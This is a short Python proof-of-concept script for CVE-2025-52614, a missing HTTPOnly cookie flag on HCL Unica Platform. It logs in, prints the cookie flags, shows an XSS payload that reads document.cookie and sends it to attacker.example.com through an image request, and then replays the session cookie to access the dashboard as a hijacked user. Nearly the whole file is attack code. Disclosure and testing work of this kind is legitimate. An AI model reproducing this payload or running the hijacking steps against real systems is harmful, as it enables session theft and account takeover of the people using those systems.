CVE-2025-52614

# CVE-2025-52614 PoC - Cookie without HTTPOnly Flag # This PoC demonstrates how to exploit the missing HTTPOnly flag on cookies import requests # Target URL of HCL Unica Platform TARGET_URL = "https://target-unica-platform.example.com" # Step 1: Login to the platform to obtain session cookie login_data = { "username": "valid_user", "password": "valid_password" } response = requests.post(f"{TARGET_URL}/login", data=login_data, allow_redirects=False) # Step 2: Check if HTTPOnly flag is set on the session cookie print("=== Cookie Analysis ===") for cookie in response.cookies: print(f"Cookie Name: {cookie.name}") print(f"Cookie Value: {cookie.value}") print(f"HTTPOnly Flag: {'SET' if cookie.has_nonstandard_attr('HttpOnly') else 'NOT SET (VULNERABLE)'}") print(f"Secure Flag: {'SET' if cookie.secure else 'NOT SET'}") print("---") # Step 3: Simulate XSS attack to steal cookie (if HTTPOnly is not set) # Malicious JavaScript payload that would be injected via XSS xss_payload = """ <script> // Since HTTPOnly flag is not set, JavaScript can access the cookie var cookie = document.cookie; // Exfiltrate the cookie to attacker's server new Image().src = "https://attacker.example.com/steal?c=" + encodeURIComponent(cookie); </script> """ print("\n=== XSS Payload (would be injected if XSS exists) ===") print(xss_payload) # Step 4: Attacker uses stolen cookie to impersonate user print("\n=== Session Hijacking ===") stolen_cookie = response.cookies.get("JSESSIONID") or response.cookies.get("sessionid") if stolen_cookie: print(f"Stolen session cookie: {stolen_cookie}") # Attacker can now use this cookie to access the platform as the victim attacker_session = requests.get( f"{TARGET_URL}/dashboard", cookies={"JSESSIONID": stolen_cookie} ) print(f"Attacker access status: {attacker_session.status_code}") print(f"Attacker can access authenticated content: {'YES' if attacker_session.status_code == 200 else 'NO'}")

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